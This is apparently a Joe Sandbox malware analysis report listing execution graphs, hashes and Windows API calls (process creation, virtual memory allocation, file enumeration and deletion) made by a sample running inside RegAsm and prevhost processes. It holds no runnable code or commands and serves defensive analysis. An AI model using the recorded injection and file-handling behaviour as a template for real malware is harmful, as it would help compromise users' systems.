                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID:
                                • String ID: $$@
                                • API String ID: 0-1194432280
                                • Opcode ID: a03480e806214d2cc2503b181a716c189b14b7dce5022e3d7832ff83a150bcc9
                                • Instruction ID: c301137af02683bb48743b6e97717e2b161e28746491a00c82af079ba6d995db
                                • Opcode Fuzzy Hash: a03480e806214d2cc2503b181a716c189b14b7dce5022e3d7832ff83a150bcc9
                                • Instruction Fuzzy Hash: CA8138B5D01269DBDB25DB54CC44BEEB7B8AF48750F0445EAE919B7280E7309E80CFA4
                                Function 030DCEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON
                                Download Yara Rule
                                APIs
                                • @_EH4_CallFilterFunc@8.LIBCMT ref: 030DCFBD
                                Strings
                                Memory Dump Source
                                • Source File: 00000005.00000002.2004359752.0000000003020000.00000040.00001000.00020000.00000000.sdmp, Offset: 03020000, based on PE: true
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_5_2_3020000_RegAsm.jbxd
                                Similarity
                                • API ID: CallFilterFunc@8
                                • String ID: @$@4_w@4_w
                                • API String ID: 4062629308-713214301
                                • Opcode ID: c5c084fc55694c8c3a6197e7314fb06c0ff57217eb1db79440e9b40186e672e6
                                • Instruction ID: 0b67958eac024a5fa876b632867de63074eade1d989392fe32818694ce41594d
                                • Opcode Fuzzy Hash: c5c084fc55694c8c3a6197e7314fb06c0ff57217eb1db79440e9b40186e672e6
                                • Instruction Fuzzy Hash: 3341AF79902318DFDB21DFA9E940AAEBBF8EF89B10F04442AE914DF254D730C841CB60

                                Execution Graph

                                Execution Coverage:3.1%
                                Dynamic/Decrypted Code Coverage:4.3%
                                Signature Coverage:1.6%
                                Total number of Nodes:444
                                Total number of Limit Nodes:69
                                execution_graph 82131 b0bab0 82132 b0babb 82131->82132 82133 b0bada 82132->82133 82135 b06300 82132->82135 82136 b06362 82135->82136 82138 b0636f 82136->82138 82139 af2b20 82136->82139 82138->82133 82140 af2b38 82139->82140 82141 af2ac2 82139->82141 82142 af2af6 82141->82142 82146 b09310 82141->82146 82150 b09d70 82142->82150 82145 af2b0b 82145->82138 82147 b0932a 82146->82147 82155 4be2c0a 82147->82155 82148 b09356 82148->82142 82151 b09e02 82150->82151 82152 b09d9e 82150->82152 82158 4be2e80 LdrInitializeThunk 82151->82158 82152->82145 82153 b09e33 82153->82145 82156 4be2c1f LdrInitializeThunk 82155->82156 82157 4be2c11 82155->82157 82156->82148 82157->82148 82158->82153 82159 b09c30 82160 b09caa 82159->82160 82162 b09c5e 82159->82162 82161 b09cc0 NtDeleteFile 82160->82161 82163 af392c 82168 af8570 82163->82168 82167 af3958 82169 af393c 82168->82169 82170 af858a 82168->82170 82169->82167 82174 b09ce0 82169->82174 82177 b093b0 82170->82177 82173 b09ce0 NtClose 82173->82169 82175 b09cfd 82174->82175 82176 b09d0e NtClose 82175->82176 82176->82167 82178 b093ca 82177->82178 82181 4be35c0 LdrInitializeThunk 82178->82181 82179 af865a 82179->82173 82181->82179 82469 af8fe1 82470 af8fd1 82469->82470 82471 af8f67 82470->82471 82473 af78c0 82470->82473 82474 af78d6 82473->82474 82476 af790f 82473->82476 82474->82476 82477 af7730 LdrLoadDll 82474->82477 82476->82470 82477->82476 82182 af75a0 82183 af75ca 82182->82183 82186 af8720 82183->82186 82185 af75f4 82187 af873d 82186->82187 82193 b09400 82187->82193 82189 af878d 82190 af8794 82189->82190 82198 b094e0 82189->82198 82190->82185 82192 af87bd 82192->82185 82194 b0949e 82193->82194 82196 b0942e 82193->82196 82203 4be2f30 LdrInitializeThunk 82194->82203 82195 b094d7 82195->82189 82196->82189 82199 b09594 82198->82199 82201 b09512 82198->82201 82204 4be2d10 LdrInitializeThunk 82199->82204 82200 b095d9 82200->82192 82201->82192 82203->82195 82204->82200 82205 af7b20 82206 af7b38 82205->82206 82208 af7b92 82205->82208 82206->82208 82209 afba70 82206->82209 82210 afba96 82209->82210 82211 afbcc9 82210->82211 82236 b0a0e0 82210->82236 82211->82208 82213 afbb0c 82213->82211 82239 b0cf90 82213->82239 82215 afbb2b 82215->82211 82216 afbc02 82215->82216 82217 b09310 LdrInitializeThunk 82215->82217 82218 af6350 LdrInitializeThunk 82216->82218 82220 afbc21 82216->82220 82219 afbb8d 82217->82219 82218->82220 82219->82216 82225 afbb96 82219->82225 82223 afbcb1 82220->82223 82252 b08e80 82220->82252 82221 afbbea 82248 af88f0 82221->82248 82228 af88f0 LdrInitializeThunk 82223->82228 82224 afbbc8 82267 b04f90 LdrInitializeThunk 82224->82267 82225->82211 82225->82221 82225->82224 82245 af6350 82225->82245 82232 afbcbf 82228->82232 82231 afbc88 82257 b08f30 82231->82257 82232->82208 82234 afbca2 82262 b09090 82234->82262 82237 b0a0fa 82236->82237 82238 b0a10b CreateProcessInternalW 82237->82238 82238->82213 82240 b0cf00 82239->82240 82241 b0cf5d 82240->82241 82268 b0bea0 82240->82268 82241->82215 82243 b0cf3a 82271 b0bdc0 82243->82271 82246 b094e0 LdrInitializeThunk 82245->82246 82247 af638e 82245->82247 82246->82247 82247->82224 82249 af8903 82248->82249 82280 b09210 82249->82280 82251 af892e 82251->82208 82253 b08efd 82252->82253 82255 b08eab 82252->82255 82286 4be39b0 LdrInitializeThunk 82253->82286 82254 b08f22 82254->82231 82255->82231 82258 b08fad 82257->82258 82260 b08f5b 82257->82260 82287 4be4340 LdrInitializeThunk 82258->82287 82259 b08fd2 82259->82234 82260->82234 82263 b0910d 82262->82263 82264 b090bb 82262->82264 82288 4be2fb0 LdrInitializeThunk 82263->82288 82264->82223 82265 b09132 82265->82223 82267->82221 82274 b0a000 82268->82274 82270 b0bebb 82270->82243 82277 b0a050 82271->82277 82273 b0bdd9 82273->82241 82275 b0a01a 82274->82275 82276 b0a02b RtlAllocateHeap 82275->82276 82276->82270 82278 b0a06a 82277->82278 82279 b0a07b RtlFreeHeap 82278->82279 82279->82273 82281 b09291 82280->82281 82282 b0923e 82280->82282 82285 4be2dd0 LdrInitializeThunk 82281->82285 82282->82251 82283 b092b6 82283->82251 82285->82283 82286->82254 82287->82259 82288->82265 82479 afcde0 82480 afce09 82479->82480 82481 afcf0d 82480->82481 82482 afceb3 FindFirstFileW 82480->82482 82482->82481 82484 afcece 82482->82484 82483 afcef4 FindNextFileW 82483->82484 82485 afcf06 FindClose 82483->82485 82484->82483 82485->82481 82289 b02320 82293 b02339 82289->82293 82290 b023cc 82291 b02384 82292 b0bdc0 RtlFreeHeap 82291->82292 82294 b02394 82292->82294 82293->82290 82293->82291 82295 b023c7 82293->82295 82296 b0bdc0 RtlFreeHeap 82295->82296 82296->82290 82501 aebcf0 82502 b0bd30 NtAllocateVirtualMemory 82501->82502 82503 aed361 82501->82503 82502->82503 82297 b01f90 82298 b01fac 82297->82298 82299 b01fd4 82298->82299 82300 b01fe8 82298->82300 82301 b09ce0 NtClose 82299->82301 82302 b09ce0 NtClose 82300->82302 82303 b01fdd 82301->82303 82304 b01ff1 82302->82304 82307 b0bee0 RtlAllocateHeap 82304->82307 82306 b01ffc 82307->82306 82506 b099d0 82507 b09a8a 82506->82507 82509 b09a02 82506->82509 82508 b09aa0 NtCreateFile 82507->82508 82308 af160b 82309 af161f 82308->82309 82310 af1613 PostThreadMessageW 82308->82310 82310->82309 82311 ae9f87 82312 ae9f2e 82311->82312 82315 ae9f8c 82311->82315 82313 ae9f80 82312->82313 82314 ae9f6d CreateThread 82312->82314 82317 aea899 82315->82317 82318 b0ba20 82315->82318 82319 b0ba46 82318->82319 82324 ae41c0 82319->82324 82321 b0ba52 82323 b0ba8e 82321->82323 82327 b05e10 82321->82327 82323->82317 82326 ae41cd 82324->82326 82331 af3a30 82324->82331 82326->82321 82328 b05e72 82327->82328 82330 b05e7f 82328->82330 82342 af21e0 82328->82342 82330->82323 82332 af3a4a 82331->82332 82334 af3a63 82332->82334 82335 b0a730 82332->82335 82334->82326 82337 b0a74a 82335->82337 82336 b0a779 82336->82334 82337->82336 82338 b09310 LdrInitializeThunk 82337->82338 82339 b0a7d9 82338->82339 82340 b0bdc0 RtlFreeHeap 82339->82340 82341 b0a7f2 82340->82341 82341->82334 82343 af2218 82342->82343 82358 af8680 82343->82358 82345 af2220 82346 af2500 82345->82346 82347 b0bea0 RtlAllocateHeap 82345->82347 82346->82330 82348 af2236 82347->82348 82349 b0bea0 RtlAllocateHeap 82348->82349 82350 af2247 82349->82350 82351 b0bea0 RtlAllocateHeap 82350->82351 82352 af2258 82351->82352 82357 af22f8 82352->82357 82377 af7230 NtClose LdrInitializeThunk LdrInitializeThunk LdrInitializeThunk 82352->82377 82355 af24b2 82373 b08750 82355->82373 82369 af4d70 82357->82369 82359 af86ac 82358->82359 82360 af8570 2 API calls 82359->82360 82361 af86cf 82360->82361 82362 af86d9 82361->82362 82363 af86f1 82361->82363 82364 b09ce0 NtClose 82362->82364 82367 af86e4 82362->82367 82365 b09ce0 NtClose 82363->82365 82366 af870d 82363->82366 82364->82367 82368 af8703 82365->82368 82366->82345 82367->82345 82368->82345 82370 af4d94 82369->82370 82371 af4d9b 82370->82371 82372 af4dd0 LdrLoadDll 82370->82372 82371->82355 82372->82371 82374 b087b2 82373->82374 82376 b087bf 82374->82376 82378 af2510 82374->82378 82376->82346 82377->82357 82380 af2530 82378->82380 82394 af8950 82378->82394 82389 af2aa6 82380->82389 82398 b01950 82380->82398 82383 af2755 82385 b0cf90 2 API calls 82383->82385 82384 af258e 82384->82389 82401 b0ce60 82384->82401 82387 af276a 82385->82387 82386 af27bd 82388 af88f0 LdrInitializeThunk 82386->82388 82386->82389 82391 af1040 LdrInitializeThunk 82386->82391 82387->82386 82406 af1040 82387->82406 82388->82386 82389->82376 82391->82386 82392 af2911 82392->82386 82393 af88f0 LdrInitializeThunk 82392->82393 82393->82392 82395 af895d 82394->82395 82396 af897e SetErrorMode 82395->82396 82397 af8985 82395->82397 82396->82397 82397->82380 82410 b0bd30 82398->82410 82400 b01971 82400->82384 82402 b0ce70 82401->82402 82403 b0ce76 82401->82403 82402->82383 82404 b0bea0 RtlAllocateHeap 82403->82404 82405 b0ce9c 82404->82405 82405->82383 82407 af105b 82406->82407 82417 b09f70 82407->82417 82413 b09e40 82410->82413 82412 b0bd61 82412->82400 82414 b09ed8 82413->82414 82416 b09e6e 82413->82416 82415 b09eee NtAllocateVirtualMemory 82414->82415 82415->82412 82416->82412 82418 b09f8d 82417->82418 82421 4be2c70 LdrInitializeThunk 82418->82421 82419 af1062 82419->82392 82421->82419 82510 4be2ad0 LdrInitializeThunk 82511 afb540 82516 afb250 82511->82516 82513 afb54d 82530 afaed0 82513->82530 82515 afb569 82517 afb275 82516->82517 82541 af8b60 82517->82541 82520 afb3c3 82520->82513 82522 afb3da 82522->82513 82523 afb3d1 82523->82522 82525 afb4c7 82523->82525 82560 afa920 82523->82560 82526 afb52a 82525->82526 82569 afac90 82525->82569 82528 b0bdc0 RtlFreeHeap 82526->82528 82529 afb531 82528->82529 82529->82513 82531 afaee6 82530->82531 82534 afaef1 82530->82534 82532 b0bea0 RtlAllocateHeap 82531->82532 82532->82534 82533 afaf12 82533->82515 82534->82533 82535 af8b60 GetFileAttributesW 82534->82535 82536 afb222 82534->82536 82539 afa920 RtlFreeHeap 82534->82539 82540 afac90 RtlFreeHeap 82534->82540 82535->82534 82537 afb23b 82536->82537 82538 b0bdc0 RtlFreeHeap 82536->82538 82537->82515 82538->82537 82539->82534 82540->82534 82542 af8b81 82541->82542 82543 af8b93 82542->82543 82544 af8b88 GetFileAttributesW 82542->82544 82543->82520 82545 b03b70 82543->82545 82544->82543 82546 b03b7e 82545->82546 82547 b03b85 82545->82547 82546->82523 82548 af4d70 LdrLoadDll 82547->82548 82549 b03bba 82548->82549 82550 b03bc9 82549->82550 82573 b03630 LdrLoadDll 82549->82573 82552 b0bea0 RtlAllocateHeap 82550->82552 82556 b03d77 82550->82556 82553 b03be2 82552->82553 82554 b03d6d 82553->82554 82553->82556 82557 b03bfe 82553->82557 82555 b0bdc0 RtlFreeHeap 82554->82555 82554->82556 82555->82556 82556->82523 82557->82556 82558 b0bdc0 RtlFreeHeap 82557->82558 82559 b03d61 82558->82559 82559->82523 82561 afa946 82560->82561 82574 afe350 82561->82574 82563 afa9bb 82565 afab40 82563->82565 82566 afa9d9 82563->82566 82564 afab25 82564->82523 82565->82564 82567 afa7e0 RtlFreeHeap 82565->82567 82566->82564 82578 afa7e0 82566->82578 82567->82565 82570 afacb6 82569->82570 82571 afe350 RtlFreeHeap 82570->82571 82572 afad3d 82571->82572 82572->82525 82573->82550 82575 afe374 82574->82575 82576 afe381 82575->82576 82577 b0bdc0 RtlFreeHeap 82575->82577 82576->82563 82577->82576 82579 afa7fd 82578->82579 82582 afe3e0 82579->82582 82581 afa903 82581->82566 82583 afe404 82582->82583 82584 afe4ae 82583->82584 82585 b0bdc0 RtlFreeHeap 82583->82585 82584->82581 82585->82584 82422 b06880 82423 b068da 82422->82423 82425 b068e7 82423->82425 82426 b04290 82423->82426 82427 b042d1 82426->82427 82428 b0bd30 NtAllocateVirtualMemory 82426->82428 82429 af4d70 LdrLoadDll 82427->82429 82431 b043de 82427->82431 82428->82427 82432 b04317 82429->82432 82430 b04360 Sleep 82430->82432 82431->82425 82432->82430 82432->82431 82434 b067e0 LdrLoadDll Sleep NtAllocateVirtualMemory 82432->82434 82434->82432 82586 b092c0 82587 b092dd 82586->82587 82590 4be2df0 LdrInitializeThunk 82587->82590 82588 b09305 82590->82588 82591 b0cec0 82592 b0bdc0 RtlFreeHeap 82591->82592 82593 b0ced5 82592->82593 82594 b00040 82595 b000a4 82594->82595 82596 af6ad0 2 API calls 82595->82596 82598 b001d7 82596->82598 82597 b001de 82598->82597 82623 af6be0 82598->82623 82600 b00383 82601 b0025a 82601->82600 82602 b00392 82601->82602 82627 affe20 82601->82627 82603 b09ce0 NtClose 82602->82603 82605 b0039c 82603->82605 82606 b00296 82606->82602 82607 b002a1 82606->82607 82608 b0bea0 RtlAllocateHeap 82607->82608 82609 b002ca 82608->82609 82610 b002d3 82609->82610 82611 b002e9 82609->82611 82613 b09ce0 NtClose 82610->82613 82636 affd10 CoInitialize 82611->82636 82614 b002dd 82613->82614 82615 b002f7 82639 b09780 82615->82639 82617 b00372 82618 b09ce0 NtClose 82617->82618 82619 b0037c 82618->82619 82620 b0bdc0 RtlFreeHeap 82619->82620 82620->82600 82621 b00315 82621->82617 82622 b09780 LdrInitializeThunk 82621->82622 82622->82621 82624 af6c05 82623->82624 82643 b09620 82624->82643 82628 affe3c 82627->82628 82629 af4d70 LdrLoadDll 82628->82629 82631 affe5a 82629->82631 82630 affe63 82630->82606 82631->82630 82632 af4d70 LdrLoadDll 82631->82632 82633 afff2e 82632->82633 82634 af4d70 LdrLoadDll 82633->82634 82635 afff8b 82633->82635 82634->82635 82635->82606 82638 affd75 82636->82638 82637 affe0b CoUninitialize 82637->82615 82638->82637 82640 b0979d 82639->82640 82648 4be2ba0 LdrInitializeThunk 82640->82648 82641 b097cd 82641->82621 82644 b0963a 82643->82644 82647 4be2c60 LdrInitializeThunk 82644->82647 82645 af6c79 82645->82601 82647->82645 82648->82641 82649 b09b40 82650 b09be7 82649->82650 82652 b09b6b 82649->82652 82651 b09bfd NtReadFile 82650->82651 82653 b00940 82654 b0095d 82653->82654 82655 af4d70 LdrLoadDll 82654->82655 82656 b0097b 82655->82656 82657 b09140 82658 b091d2 82657->82658 82660 b0916e 82657->82660 82662 4be2ee0 LdrInitializeThunk 82658->82662 82659 b09203 82662->82659 82435 af2f98 82438 af6ad0 82435->82438 82437 af2fc3 82439 af6b03 82438->82439 82440 af6b27 82439->82440 82445 b09830 82439->82445 82440->82437 82442 af6b4a 82442->82440 82443 b09ce0 NtClose 82442->82443 82444 af6bcc 82443->82444 82444->82437 82446 b0984d 82445->82446 82449 4be2ca0 LdrInitializeThunk 82446->82449 82447 b09879 82447->82442 82449->82447 82450 af7b16 82451 af7aa6 82450->82451 82456 af7b1a 82450->82456 82452 af7ae1 82451->82452 82459 af6d60 NtClose LdrInitializeThunk LdrInitializeThunk 82451->82459 82454 af7abe 82454->82452 82460 af6f30 NtClose LdrInitializeThunk LdrInitializeThunk 82454->82460 82457 afba70 9 API calls 82456->82457 82458 af7b92 82456->82458 82457->82458 82459->82454 82460->82452 82663 af6454 82664 af63f8 82663->82664 82665 af6460 82663->82665 82666 af88f0 LdrInitializeThunk 82664->82666 82668 af6400 82666->82668 82669 af642c 82668->82669 82670 af8870 82668->82670 82671 af88b4 82670->82671 82672 af88d5 82671->82672 82677 b08fe0 82671->82677 82672->82668 82674 af88c5 82675 af88e1 82674->82675 82676 b09ce0 NtClose 82674->82676 82675->82668 82676->82672 82678 b0905d 82677->82678 82680 b0900b 82677->82680 82682 4be4650 LdrInitializeThunk 82678->82682 82679 b09082 82679->82674 82680->82674 82682->82679 82461 ae9f90 82462 aea41d 82461->82462 82463 b0ba20 13 API calls 82462->82463 82464 aea899 82462->82464 82463->82464 82465 afa410 82466 afa41f 82465->82466 82467 afa426 82466->82467 82468 b0bdc0 RtlFreeHeap 82466->82468 82468->82467

                                Executed Functions

                                Function 00AE9F90 Relevance: 41.7, Strings: 33, Instructions: 466COMMON
                                Download Yara Rule

                                Control-flow Graph

                                • Executed
                                • Not Executed
                                control_flow_graph 136 ae9f90-aea413 137 aea41d-aea427 136->137 138 aea429-aea448 137->138 139 aea473-aea47d 137->139 141 aea45a-aea46b 138->141 142 aea44a-aea458 138->142 140 aea48e-aea49a 139->140 144 aea49c-aea4a8 140->144 145 aea4aa-aea4b1 140->145 143 aea471 141->143 142->143 143->137 144->140 146 aea4d8-aea4e9 145->146 147 aea4b3-aea4d6 145->147 149 aea4fa-aea506 146->149 147->145 150 aea51c-aea526 149->150 151 aea508-aea51a 149->151 152 aea537-aea540 150->152 151->149 154 aea556-aea567 152->154 155 aea542-aea554 152->155 156 aea578-aea584 154->156 155->152 158 aea586-aea58f 156->158 159 aea591-aea5aa 156->159 158->156 159->159 160 aea5ac-aea5b6 159->160 162 aea5c7-aea5d0 160->162 163 aea5e7-aea5f1 162->163 164 aea5d2-aea5e5 162->164 166 aea602-aea60e 163->166 164->162 167 aea624 166->167 168 aea610-aea622 166->168 170 aea62b-aea635 167->170 168->166 171 aea66e-aea678 170->171 172 aea637-aea652 170->172 175 aea689-aea692 171->175 173 aea659-aea65b 172->173 174 aea654-aea658 172->174 176 aea66c 173->176 177 aea65d-aea666 173->177 174->173 178 aea6a8-aea6b1 175->178 179 aea694-aea6a6 175->179 176->170 177->176 180 aea84b-aea852 178->180 181 aea6b7-aea6c1 178->181 179->175 184 aea88b-aea892 180->184 185 aea854-aea86f 180->185 183 aea6d2-aea6db 181->183 188 aea6dd-aea6e7 183->188 189 aea6e9-aea6f3 183->189 186 aea8c7-aea8d1 184->186 187 aea894 call b0ba20 184->187 190 aea876-aea878 185->190 191 aea871-aea875 185->191 197 aea8e2-aea8ee 186->197 198 aea899-aea8a2 187->198 188->183 196 aea704-aea710 189->196 192 aea87a-aea883 190->192 193 aea889 190->193 191->190 192->193 193->180 199 aea712-aea71e 196->199 200 aea720-aea724 196->200 201 aea904-aea90b 197->201 202 aea8f0-aea902 197->202 198->186 203 aea8a4-aea8c5 198->203 199->196 206 aea73f-aea749 200->206 207 aea726-aea73d 200->207 208 aea94c-aea956 201->208 209 aea90d-aea94a 201->209 202->197 203->198 210 aea75a-aea766 206->210 207->200 211 aea967-aea970 208->211 209->201 214 aea768-aea775 210->214 215 aea777-aea78f 210->215 212 aea986-aea990 211->212 213 aea972-aea984 211->213 219 aea9a1-aea9aa 212->219 213->211 214->210 217 aea7cd-aea7d1 215->217 218 aea791-aea79b 215->218 224 aea7ff-aea809 217->224 225 aea7d3-aea7fd 217->225 221 aea7ac-aea7b8 218->221 222 aea9ac-aea9bf 219->222 223 aea9c1-aea9cb 219->223 226 aea7ba-aea7c9 221->226 227 aea7cb 221->227 222->219 229 aea81a-aea826 224->229 225->217 226->221 227->180 231 aea83c-aea846 229->231 232 aea828-aea83a 229->232 231->178 232->229
                                Strings
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID:
                                • String ID: i$"5$"Z$&$*$+#$/$1h$2@$6b$B$Bs$E-$FK$G$KA$M$OE$Tg$^$`$e$lU$o{$q)$ta$w$y$y$ys$z$z$~
                                • API String ID: 0-2173029791
                                • Opcode ID: cf4e50efdb1c36ecac56bec9745dbf1576c695bd45bdf8d13486ecc4cec8238f
                                • Instruction ID: 2f5d25c413dfa11a6bb2597dcf71dd5acad07a9129c050f65a7553b8f2ba862c
                                • Opcode Fuzzy Hash: cf4e50efdb1c36ecac56bec9745dbf1576c695bd45bdf8d13486ecc4cec8238f
                                • Instruction Fuzzy Hash: 4942B2B0D05269CBEB24CF45C998BEDBBB2BB55308F1081D9C0496B280C7B56AC9DF56
                                Function 00AFCDE0 Relevance: 4.6, APIs: 3, Instructions: 106fileCOMMON
                                Download Yara Rule
                                APIs
                                • FindFirstFileW.KERNELBASE(?,00000000), ref: 00AFCEC4
                                • FindNextFileW.KERNELBASE(?,00000010), ref: 00AFCEFF
                                • FindClose.KERNELBASE(?), ref: 00AFCF0A
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: Find$File$CloseFirstNext
                                • String ID:
                                • API String ID: 3541575487-0
                                • Opcode ID: d64cb78672edee277cf4262cbc65cfad06ad2f318f42550ad654af1b0e22c09b
                                • Instruction ID: 1f7e296c764961fd9a9f0c7d31dd10f1bec7b1e1d8e3ca30075e21b035d10834
                                • Opcode Fuzzy Hash: d64cb78672edee277cf4262cbc65cfad06ad2f318f42550ad654af1b0e22c09b
                                • Instruction Fuzzy Hash: CF31767194034CBBDB21DBA5CD85FFF77BCEB44B14F144498B619A7181DA70AE848BA0
                                Function 00B099D0 Relevance: 1.6, APIs: 1, Instructions: 101filenativeCOMMON
                                Download Yara Rule
                                APIs
                                • NtCreateFile.NTDLL(98CEB54A,?,?,?,?,?,?,?,?,?,?), ref: 00B09AD1
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: CreateFile
                                • String ID:
                                • API String ID: 823142352-0
                                • Opcode ID: 95462c8842b7476fe035fbc5fc9715c4ff7bb1276499c6eca6d5e8e042827701
                                • Instruction ID: 6daa347ef71f7a5c6de0666e43e21ca98da7f11a5d8b862ac63510aa7cb330ed
                                • Opcode Fuzzy Hash: 95462c8842b7476fe035fbc5fc9715c4ff7bb1276499c6eca6d5e8e042827701
                                • Instruction Fuzzy Hash: A531C3B5A11208AFDB14DF98D881EEEB7F9EF8C314F108619F919A3341D730A9118BA5
                                Function 00B09B40 Relevance: 1.6, APIs: 1, Instructions: 93filenativeCOMMON
                                Download Yara Rule
                                APIs
                                • NtReadFile.NTDLL(98CEB54A,?,?,?,?,?,?,?,?), ref: 00B09C26
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: FileRead
                                • String ID:
                                • API String ID: 2738559852-0
                                • Opcode ID: a470841d977030d0478765840f5fa8416fe2770f18dbc0f70b9d3cf66752be3f
                                • Instruction ID: a3a1822dfecdb2875145b758020434e6606f25876962ae8ddd89919a6fedaa26
                                • Opcode Fuzzy Hash: a470841d977030d0478765840f5fa8416fe2770f18dbc0f70b9d3cf66752be3f
                                • Instruction Fuzzy Hash: E131E5B5A00208AFCB14DF98D881EEEB7F9EF88314F108149F919A3341D770A911CBA5
                                Function 00B09E40 Relevance: 1.6, APIs: 1, Instructions: 81memorynativeCOMMON
                                Download Yara Rule
                                APIs
                                • NtAllocateVirtualMemory.NTDLL(98CEB54A,?,00B087BF,00000000,00000004,00003000,?,?,?,?,?,00B087BF,00AF258E,00000000,?,00B087BF), ref: 00B09F0B
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: AllocateMemoryVirtual
                                • String ID:
                                • API String ID: 2167126740-0
                                • Opcode ID: 454ba09721115b66474e8a175639b7cbb4d471281f698ed64cab825b0d8c9e6d
                                • Instruction ID: 8195f4ecf8dae90ae58bed78adea6398fff76975551e665ca40d996aedf7bf0f
                                • Opcode Fuzzy Hash: 454ba09721115b66474e8a175639b7cbb4d471281f698ed64cab825b0d8c9e6d
                                • Instruction Fuzzy Hash: EB2117B5A00219AFDB14DF98DC81EEFB7B9EF88710F108509FD08A7281D774A911CBA1
                                Function 00B09C30 Relevance: 1.6, APIs: 1, Instructions: 61filenativeCOMMON
                                Download Yara Rule
                                APIs
                                • NtDeleteFile.NTDLL(98CEB54A), ref: 00B09CC9
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: DeleteFile
                                • String ID:
                                • API String ID: 4033686569-0
                                • Opcode ID: faa8448e87ddfdc3c2340af47a7e5d3868a9cf07014bc71742b14fa1c1b267a1
                                • Instruction ID: 1c5d674c334a05def01f347e95a5cb91d07191d802ec9d7a8fc51a99bb97002b
                                • Opcode Fuzzy Hash: faa8448e87ddfdc3c2340af47a7e5d3868a9cf07014bc71742b14fa1c1b267a1
                                • Instruction Fuzzy Hash: F711C6B16106187FD720EB68CC41FEF77ACEF85714F108549FA48A7281DB717A118BA1
                                Function 00B09CE0 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                Download Yara Rule
                                APIs
                                • NtClose.NTDLL(?,?,001F0001,?,00000000,?,00000000,00000104), ref: 00B09D17
                                Memory Dump Source
                                • Source File: 00000009.00000002.2769680195.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_ae0000_prevhost.jbxd
                                Yara matches
                                Similarity
                                • API ID: Close
                                • String ID:
                                • API String ID: 3535843008-0
                                • Opcode ID: e4ce4091241eec24c5bd569ec561ad06714509f5c34baa92d83dd8f40e52a6b3
                                • Instruction ID: 8e5751d1195377fe9c223aafbee3aa8f9c8ece24efb810ea419abb9767f528ba
                                • Opcode Fuzzy Hash: e4ce4091241eec24c5bd569ec561ad06714509f5c34baa92d83dd8f40e52a6b3
                                • Instruction Fuzzy Hash: 34E086762116147BD210FA59CC01FDB77ACEFC5754F408455FA09A7282C670791187F5
                                Function 04BE35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
                                • Opcode ID: 212651bdb641de7866166e7a449572a5971c8ac4475ef9ca01fc1b0fe79fb08a
                                • Instruction ID: a5575e9e8e29da925bdd2d83101f542caae1bcc91ab4891641a4526375da63b3
                                • Opcode Fuzzy Hash: 212651bdb641de7866166e7a449572a5971c8ac4475ef9ca01fc1b0fe79fb08a
                                • Instruction Fuzzy Hash: ED90023260550402F500715849147061005CBD1205F65C451A1465569D8795DA6665A2
                                Function 04BE4650 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                Download Yara Rule
                                APIs
                                Memory Dump Source
                                • Source File: 00000009.00000002.2773646297.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: true
                                • Associated: 00000009.00000002.2773646297.0000000004C99000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004C9D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                • Associated: 00000009.00000002.2773646297.0000000004D0E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                Joe Sandbox IDA Plugin
                                • Snapshot File: hcaresult_9_2_4b70000_prevhost.jbxd
                                Similarity
                                • API ID: InitializeThunk
                                • String ID:
                                • API String ID: 2994545307-0
